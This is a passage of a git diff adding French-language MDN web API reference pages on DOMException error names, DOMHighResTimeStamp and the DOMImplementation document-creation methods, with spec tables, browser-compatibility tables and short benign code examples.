+ <dd>L'objet ne peut pas être modifié de cette manière. (Valeur de code héritée : <code>13</code> et nom de la constante héritée : <code>INVALID_MODIFICATION_ERR</code>)</dd>
+ <dt><a id="exception-NamespaceError"><code>NamespaceError</code></a></dt>
+ <dd>L'opération n'est pas autorisée par Namespaces en XML. (Valeur de code héritée : <code>14</code> et nom de la constante héritée : <code>NAMESPACE_ERR</code>)</dd>
+ <dt><a id="exception-InvalidAccessError"><code>InvalidAccessError</code></a></dt>
+ <dd>L'objet ne prend pas en charge l'opération ou l'argument. (Valeur de code héritée : <code>15</code> et nom de la constante héritée : <code>INVALID_ACCESS_ERR</code>)</dd>
+ <dt><a id="exception-TypeMismatchError"><code>TypeMismatchError</code></a> {{deprecated_inline}}</dt>
+ <dd>Le type de l'objet ne correspond pas au type attendu. (Valeur de code héritée : <code>17</code> et nom de la constante héritée : <code>TYPE_MISMATCH_ERR</code>). Cette valeur est dépéciée, l'exception {{jsxref("TypeError")}} JavaScript est maintenant utilisée à la place d'une <code>DOMException</code> avec cette valeur.</dd>
+ <dt><a id="exception-SecurityError"><code>SecurityError</code></a> {{experimental_inline}}</dt>
+ <dd>L'opération n'est pas sécurisée. (Valeur de code héritée : <code>18</code> et nom de la constante héritée : <code>SECURITY_ERR</code>)</dd>
+ <dt><a id="exception-NetworkError"><code>NetworkError</code></a> {{experimental_inline}}</dt>
+ <dd>Une erreur réseau s'est produite. (Valeur de code héritée : <code>19</code> et nom de la constante héritée : <code>NETWORK_ERR</code>)</dd>
+ <dt><a id="exception-AbortError"><code>AbortError</code></a> {{experimental_inline}}</dt>
+ <dd>L'opération a été annulée (Valeur de code héritée : <code>20</code> et nom de la constante héritée : <code>ABORT_ERR</code>)</dd>
+ <dt><a id="exception-URLMismatchError"><code>URLMismatchError</code></a> {{experimental_inline}}</dt>
+ <dd>L'URL donnée ne correspond pas à une autre URL. (Valeur de code héritée : <code>21</code> et nom de la constante héritée : <code>URL_MISMATCH_ERR</code>)</dd>
+ <dt><a id="exception-QuotaExceededError"><code>QuotaExceededError</code></a> {{experimental_inline}}</dt>
+ <dd>Le quota a été dépassé. (Valeur de code héritée : <code>22</code> et nom de la constante héritée : <code>QUOTA_EXCEEDED_ERR</code>)</dd>
+ <dt><a id="exception-TimeoutError"><code>TimeoutError</code></a> {{experimental_inline}}</dt>
+ <dd>Le temps est dépassé. (Valeur de code héritée : <code>23</code> et nom de la constante héritée : <code>TIMEOUT_ERR</code>)</dd>
+ <dt><a id="exception-InvalidNodeTypeError"><code>InvalidNodeTypeError</code></a> {{experimental_inline}}</dt>
+ <dd>Le noeud est incorrect ou a un ancêtre incorrect pour cette opération. (Valeur de code héritée : <code>24</code> et nom de la constante héritée : <code>INVALID_NODE_TYPE_ERR</code>)</dd>
+ <dt><a id="exception-DataCloneError"><code>DataCloneError</code></a> {{experimental_inline}}</dt>
+ <dd>L'objet ne peut pas être cloné. ( Valeur de code héritée : <code>25</code> et nom de la constante héritée : <code>DATA_CLONE_ERR</code>)</dd>
+ <dt><a id="exception-EncodingError"><code>EncodingError</code></a> {{experimental_inline}}</dt>
+ <dd>L'opération de codage ou de décodage a échoué (Pas de valeur de code ni de nom de constante hérités).</dd>
+ <dt><a id="exception-NotReadableError"><code>NotReadableError</code></a> {{experimental_inline}}</dt>
+ <dd>L'opération de lecture entrée / sortie a échoué (Pas de valeur de code ni de nom de constante hérités).</dd>
+ <dt><a id="exception-UnknownError"><code>UnknownError</code></a> {{experimental_inline}}</dt>
+ <dd>L'opération a échoué pour une raison transitoire inconnue (par exemple dépassement de mémoire) (Pas de valeur de code ni de nom de constante hérités) .</dd>
+ <dt><a id="exception-ConstraintError"><code>ConstraintError</code></a> {{experimental_inline}}</dt>
+ <dd>Une opération de mutation dans une transaction a échoué car une contrainte n'a pas été satisfaite (Pas de valeur de code ni de nom de constante hérités) .</dd>
+ <dt><a id="exception-DataError"><code>DataError</code></a> {{experimental_inline}}</dt>
+ <dd>Provided data is inadequate (No legacy code value and constant name).</dd>
+ <dt><a id="exception-TransactionInactiveError"><code>TransactionInactiveError</code></a> {{experimental_inline}}</dt>
+ <dd>Une demande a été placée contre une transaction qui n'est actuellement pas active ou qui est terminée (Pas de valeur de code ni de nom de constante hérités).</dd>
+ <dt><a id="exception-ReadOnlyError"><code>ReadOnlyError</code></a> {{experimental_inline}}</dt>
+ <dd>L'opération de mutation a été tentée dans une transaction "en lecture seule" (Pas de valeur de code ni de nom de constante hérités).</dd>
+ <dt><a id="exception-VersionError"><code>VersionError</code></a> {{experimental_inline}}</dt>
+ <dd>Une tentative a été faite pour ouvrir une base de données en utilisant une version inférieure à la version existante (Pas de valeur de code ni de nom de constante hérités).</dd>
+ <dt><a id="exception-OperationError"><code>OperationError</code></a> {{experimental_inline}}</dt>
+ <dd>L'opération a échoué pour une raison spécifique à l'opération (Pas de valeur de code ni de nom de constante hérités).</dd>
+ <dt><a id="exception-NotAllowedError"><code>NotAllowedError</code></a> {{experimental_inline}}</dt>
+ <dd>La demande n'est pas autorisée par l'agent utilisateur ou la plateforme dans le contexte actuel, peut-être parce que l'utilisateur a refusé la permission  (Pas de valeur de code ni de nom de constante hérités).</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebIDL', '#es-DOMException-call', 'constructor')}}</td>
+   <td>{{Spec2('WebIDL')}}</td>
+   <td>Ajout du constructeur pour la classe <code>DOMException</code>. Ajout des valeurs <code>NotReadableError</code>, <code>UnknownError</code>, <code>ConstraintError</code>, <code>DataError</code>, <code>TransactionInactiveError</code>, <code>ReadOnlyError</code>, <code>VersionError</code>, <code>OperationError</code> et <code>NotAllowedError</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#exception-domexception', 'DOMException')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Ajout des <code>SECURITY_ERR</code>, <code>NETWORK_ERR</code>, <code>ABORT_ERR</code>, <code>URL_MISMATCH_ERR</code>, <code>QUOTA_EXCEEDED_ERR</code>, <code>TIMEOUT_ERR</code>, <code>INVALID_NODE_TYPE_ERR</code>, et <code>DATA_CLONE_ERR</code>. La propriété <code>code</code> a été dépréciée pour les valeurs d'exception. La valeur <code>EncodingError</code> ajoutée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-17189187', 'DOMException')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Ajout de <code>VALIDATION_ERR</code> et <code>TYPE_MISMATCH_ERR</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-17189187', 'DOMException')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Ajout de <code>INVALID_STATE_ERR</code>, <code>SYNTAX_ERR</code>, <code>INVALID_MODIFICATION_ERR</code>, <code>NAMESPACE_ERR</code>, and <code>INVALID_ACCESS_ERR</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-17189187', 'DOMException')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("1.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>DOM Level 4 support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("13.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>DATA_CLONE_ERR</code> constant</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("5.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Constructor</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("1.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>DOM Level 4 support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("13.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>DATA_CLONE_ERR</code> constant</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("5.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Constructor</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("DOMError") }}</li>
+</ul>
diff --git a/files/fr/web/api/domhighrestimestamp/index.html b/files/fr/web/api/domhighrestimestamp/index.html
new file mode 100644
index 0000000000..fc7f2c3274
--- /dev/null
+++ b/files/fr/web/api/domhighrestimestamp/index.html
@@ -0,0 +1,102 @@
+---
+title: DOMHighResTimeStamp
+slug: Web/API/DOMHighResTimeStamp
+translation_of: Web/API/DOMHighResTimeStamp
+---
+<p>{{APIRef("High Resolution Time")}}</p>
+
+<p>Le type <code><strong>DOMHighResTimeStamp</strong></code> est un <code>double</code> et est utilisé pour stocker une valeur temporelle. La valeur peut représenter un point dans le temps ou la différence entre deux points dans le temps.</p>
+
+<p>L'unité est la milliseconde et sa précision est en principe de 5 µs (microsecondes). Cependant, si le navigateur n'est pas capable de fournir une valeur temporelle avec une précision de 5 microsecondes (en raison par exemple de contraintes hardware ou software), le navigateur peut représenter la valeur comme un temps en millisecondes avec une précision d'une milliseconde. Référez-vous également à la section ci-dessous concernant la réduction de précision temporelle contrôlée par les préférences du navigateur pour éviter les attaques de synchronisation et le fingerprinting.</p>
+
+<p>De plus, si l'appareil ou le système d'exploitation sur lequel tourne le navigateur n'est pas doté d'une horloge avec une précision de l'ordre de la microseconde, la précision peut également être de l'ordre de la milliseconde.</p>
+
+<h2 id="Précision_temporelle_réduite">Précision temporelle réduite</h2>
+
+<p>Pour offrir une protection contre les attaques de synchronisation et le fingerprinting, la précision des timestamps peut être arrondie en fonction des préférences du navigateur.<br>
+ Dans Firefox, l'option <code>privacy.reduceTimerPrecision</code> est activée par défaut et vaut 20µs par défaut dans Firefox 59; dans la version 60 cette valeur est portée à 2ms par défaut.</p>
+
+<pre class="brush: js">// précision temporelle réduite (2ms) dans Firefox 60
+event.timeStamp
+// 1519211809934
+// 1519211810362
+// 1519211811670
+// ...
+
+
+// précision temporelle réduite avec `privacy.resistFingerprinting` activé
+event.timeStamp;
+// 1519129853500
+// 1519129858900
+// 1519129864400
+// ...
+</pre>
+
+<p>Dans Firefox, vous pouvez aussi activer <code>privacy.resistFingerprinting</code>, la précision sera alors de 100ms ou la valeur de <code>privacy.resistFingerprinting.reduceTimerPrecision.microseconds</code>, la valeur la plus large étant retenue.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Ce <em>type</em> n'a pas de propriétés. C'est une valeur à virgule flottante double précision.</em></p>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>La valeur d'un <code>DOMHighResTimeStamp</code> est un nombre flottant double précision qui décrit le nombre de millisecondes (avec une précision de 5 microsecondes si l'appareil le supporte) écoulé entre deux points dans le temps. Le temps de départ peut être soit un point spécifique dans le temps déterminé par le script d'un site web ou d'une application, ou l'<strong>origine temporelle</strong>.</p>
+
+<h4 id="L'origine_temporelle">L'origine temporelle</h4>
+
+<p>L'<strong>origine temporelle</strong> est une heure qui est considéré comme l'heure de commencement de la vie du document. Elle est calculée comme suit :</p>
+
+<ul>
+ <li>Si l'{{Glossary("objet global")}} du script est {{domxref("Window")}}, l'origine temporelle est déterminée comme suit :
+  <ul>
+   <li>Si le {{domxref("Document")}} courant est le premier à être chargé dans la fenêtre, l'origine temporelle est l'heure à laquelle le contexte du navigateur a été créé.</li>
+   <li>Si pendant le processus de déchargement du document précédemment chargé dans la fenêtre, un dialogue de confirmation a été affiché pour demander à l'utilisateur de confirmer s'il souhaite quitter la page précédente, l'origine temporelle est l'heure à laquelle l'utilisateur a confirmé que naviguer vers la nouvelle page était acceptable.</li>
+   <li>Si aucun des points ci-dessus ne détermine l'origine temporelle, celle-ci est l'heure à laquelle la navigation responsable de la création du <code>Document</code> courant de la fenêtre a eu lieu.</li>
+  </ul>
+ </li>
+ <li>Si l'objet global du script est un {{domxref("WorkerGlobalScope")}} (si le script tourne comme un <em>web worker</em>), l'origine temporelle est le moment auquel le worker a été créé.</li>
+ <li>Dans tous les autres cas, l'origine temporelle est <code>undefined</code>.</li>
+</ul>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Ce type n'a pas de méthodes.</em></p>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Highres Time Level 2', '#dom-domhighrestimestamp', 'DOMHighResTimeStamp')}}</td>
+   <td>{{Spec2('Highres Time Level 2')}}</td>
+   <td>Définitions plus strictes des interfaces et des types.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time', '#sec-DOMHighResTimeStamp', 'DOMHighResTimeStamp')}}</td>
+   <td>{{Spec2('Highres Time')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez contribuer à ces données, merci de consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et d'envoyer une pull request.</div>
+
+<p>{{Compat("api.DOMHighResTimestamp")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Navigation_timing" title="/en-US/docs/Navigation_timing">Navigation Timing API</a></li>
+ <li><a href="/en-US/docs/Web/API/Performance/now">performance.now()</a></li>
+</ul>
diff --git a/files/fr/web/api/domimplementation/createdocument/index.html b/files/fr/web/api/domimplementation/createdocument/index.html
new file mode 100644
index 0000000000..0f9861d5c2
--- /dev/null
+++ b/files/fr/web/api/domimplementation/createdocument/index.html
@@ -0,0 +1,155 @@
+---
+title: DOMImplementation.createDocument()
+slug: Web/API/DOMImplementation/createDocument
+tags:
+  - API
+  - DOM
+  - Méthode
+  - Reference
+  - implementation
+translation_of: Web/API/DOMImplementation/createDocument
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>La méthode <strong><code>DOMImplementation.createDocument()</code></strong> crée et retourne un {{domxref("XMLDocument")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>doc</em> = document.implementation.createDocument(<em>namespaceURI</em>, <em>qualifiedNameStr</em>, <em>documentType</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>namespaceURI</em></dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> contenant l'URI de l'espace de noms du document à créer, <code>ou null</code> si le document n'appartient à aucun espace de noms.</dd>
+</dl>
+
+<dl>
+ <dt><em>qualifiedNameStr </em></dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères) </em>contenant le nom qualifié, c'est-à-dire optionnellement un préfixe et deux points, plus le nom local de l'élément racine, du document à créer.</dd>
+</dl>
+
+<dl>
+ <dt><em>documentType </em>{{optional_inline}}</dt>
+ <dd>Est le <a class="internal" href="https://developer.mozilla.org/fr/docs/Web/API/DocumentType" title="En/DOM/DocumentType"><code>DocumentType</code></a> du document à créer. Vaut <code>null </code>par défaut.</dd>
+</dl>
+
+<ul>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var doc = document.implementation.createDocument ('http://www.w3.org/1999/xhtml', 'html', null);
+var body = document.createElementNS('http://www.w3.org/1999/xhtml', 'body');
+body.setAttribute('id', 'abc');
+doc.documentElement.appendChild(body);
+alert(doc.getElementById('abc')); // [objet HTMLBodyElement]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-domimplementation-createdocument', 'DOMImplementation.createDocument')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Modification du type retourné par <code>createDocument()</code> de {{domxref("Document")}} à{{domxref("XMLDocument")}}.<br>
+    Le troisième argument de <code>createDocument()</code>, <em>doctype</em>, est maintenant optionnel et vaut <code>null</code> par defaut.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#Level-2-Core-DOM-createDocument', 'DOMImplementation.createDocument')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de changement depuis {{SpecName("DOM2 Core")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#Level-2-Core-DOM-createDocument', 'DOMImplementation.createDocument')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>3rd argument of <code>createDocument()</code> optional</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>3rd argument of <code>createDocument()</code> optional</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("26.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("DOMImplementation")}} à laquelle la méthode appartient.</li>
+</ul>
diff --git a/files/fr/web/api/domimplementation/createdocumenttype/index.html b/files/fr/web/api/domimplementation/createdocumenttype/index.html
new file mode 100644
index 0000000000..f9b49a7164
--- /dev/null
+++ b/files/fr/web/api/domimplementation/createdocumenttype/index.html
@@ -0,0 +1,131 @@
+---
+title: DOMImplementation.createDocumentType()
+slug: Web/API/DOMImplementation/createDocumentType
+tags:
+  - API
+  - DOM
+  - DOMImplementation
+  - Méthode
+  - Reference
+translation_of: Web/API/DOMImplementation/createDocumentType
+---
+<p>{{ ApiRef("DOM")}}</p>
+
+<p>La méthode <strong><code>DOMImplementation.createDocumentType()</code></strong> renvoie un objet {{domxref("DocumentType")}}  qui peut être utilisé avec {{domxref("DOMImplementation.createDocument")}} lors de la création du document ou peut être intégré au document existant avec des méthodes comme {{domxref("Node.insertBefore()")}} ou {{domxref("Node.replaceChild()")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>doctype</em> = document.implementation.createDocumentType(<em>qualifiedNameStr</em>, <em>publicId</em>, <em>systemId</em>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>qualifiedNameStr</em></dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) contenant le nom qualifié comme <code>svg:svg</code>.</dd>
+</dl>
+
+<dl>
+ <dt><em>publicId</em></dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) contenant l'identifiant <code>PUBLIC</code>.</dd>
+</dl>
+
+<dl>
+ <dt><em>systemId</em></dt>
+ <dd>est une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) contenant les identifiants <code>SYSTEM</code>.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var dt = document.implementation.createDocumentType('svg:svg', '-//W3C//DTD SVG 1.1//EN', 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd');
+var d = document.implementation.createDocument('http://www.w3.org/2000/svg', 'svg:svg', dt);
+alert(d.doctype.publicId); // -//W3C//DTD SVG 1.1//EN
+</pre>
+
+<h2 id="Spécifications"> Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-domimplementation-createdocumenttype', 'DOMImplementation.createDocumentType')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de modification de {{SpecName("DOM3 Core")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#Level-2-Core-DOM-createDocType', 'DOMImplementation.createDocumentType')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de modification de {{SpecName("DOM2 Core")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html##Level-2-Core-DOM-createDocType', 'DOMImplementation.createDocumentType')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}} [1]</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Au départ dans Gecko 9.0, le <code>ownerDocument</code> (<em>propriétaire du document</em>) des noeuds doctype (c'est-à-dire les noeuds pour lesquels {{domxref("Node.nodeType")}} est <code>Node.DOCUMENT_TYPE_NODE</code> ou 10) n'est pas null. Au lieu de cela, <code>ownerDocument</code> est le document sur lequel <code>document.implementation.createDocumentType()</code> a été appelé.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("DOMImplementation")}} à laquelle elle appartient.</li>
+</ul>
diff --git a/files/fr/web/api/domimplementation/createhtmldocument/index.html b/files/fr/web/api/domimplementation/createhtmldocument/index.html
new file mode 100644
index 0000000000..a7ea4e54fc
--- /dev/null
+++ b/files/fr/web/api/domimplementation/createhtmldocument/index.html
@@ -0,0 +1,163 @@
+---
+title: DOMImplementation.createHTMLDocument()
+slug: Web/API/DOMImplementation/createHTMLDocument
+tags:
+  - API
+  - DOM
+  - DOM Référence(2)
+  - DOM implémentation
+  - Expérimental(2)
+  - Méthode
+  - Référence(2)
+translation_of: Web/API/DOMImplementation/createHTMLDocument
+---
+<p>{{ApiRef("DOM")}}{{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>DOMImplementation.createHTMLDocument()</code></strong>  crée un nouveau {{domxref("Document")}} HTML.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>newDoc</em> = document.implementation.createHTMLDocument(<em>titre</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>title</em>  {{optional_inline}}  (excepté dans IE)</dt>
+ <dd>C'est une {{domxref("DOMString")}} qui contient le titre à donner au nouveau document HTML.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, on crée un nouveau document HTML que l'on insère dans un {{HTMLElement("iframe")}} dans le document courant.</p>
+
+<p>Ci-dessous, le code HTML pour cet exemple:</p>
+
+<pre class="brush: html">&lt;body&gt;
+  &lt;p&gt;Cliquez &lt;a href="javascript:makeDocument()"&gt;ici&lt;/a&gt; pour créer un nouveau document et l'insérer au dessous.&lt;/p&gt;
+  &lt;iframe id="laFrame" src="about:blank" /&gt;
+&lt;/body&gt;
+</pre>
+
+<p>L'implémentation en JavaScript de la méthode <code>makeDocument()</code>:</p>
+
+<pre class="brush: js">function makeDocument() {
+  var frame = document.getElementById("laFrame");
+
+  var doc = document.implementation.createHTMLDocument("Nouveau Document");
+  var p = doc.createElement("p");
+  p.innerHTML = "Ceci est un nouveau paragraphe.";
+
+  try {
+    doc.body.appendChild(p);
+  } catch(e) {
+    console.log(e);
+  }
+
+  // Copie le nouveau document HTML dans la frame
+
+  var destDocument = frame.contentDocument;
